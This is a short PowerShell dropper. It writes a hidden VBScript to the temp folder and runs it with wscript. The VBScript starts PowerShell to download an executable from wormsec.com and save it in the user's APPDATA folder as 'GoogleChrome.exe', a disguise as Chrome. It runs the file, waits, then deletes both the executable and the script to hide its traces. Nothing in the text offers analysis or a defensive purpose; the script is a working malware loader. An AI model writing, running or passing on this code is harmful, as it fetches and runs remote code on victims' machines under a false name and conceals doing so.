$vbsContent = @'
Set WshShell = CreateObject("WScript.Shell")
cmd = "powershell -Command ""$url='https://wormsec.com/srcbox.exe'; $dir=$env:APPDATA+'\Google Chrome\install'; if(!(Test-Path $dir)){md $dir -Force >$null}; $dest=$dir+'\GoogleChrome.exe'; Invoke-WebRequest -Uri $url -OutFile $dest; Start-Process $dest; Start-Sleep 300; if(Test-Path $dest){Remove-Item $dest -Force}"""
WshShell.Run cmd, 0, False
'@

$tempVbsPath = "$env:TEMP\run_hidden.vbs"
[System.IO.File]::WriteAllText($tempVbsPath, $vbsContent, [System.Text.Encoding]::ASCII)
Start-Process "wscript.exe" -ArgumentList "`"$tempVbsPath`""
Start-Sleep 2
Remove-Item $tempVbsPath -ErrorAction SilentlyContinue
exit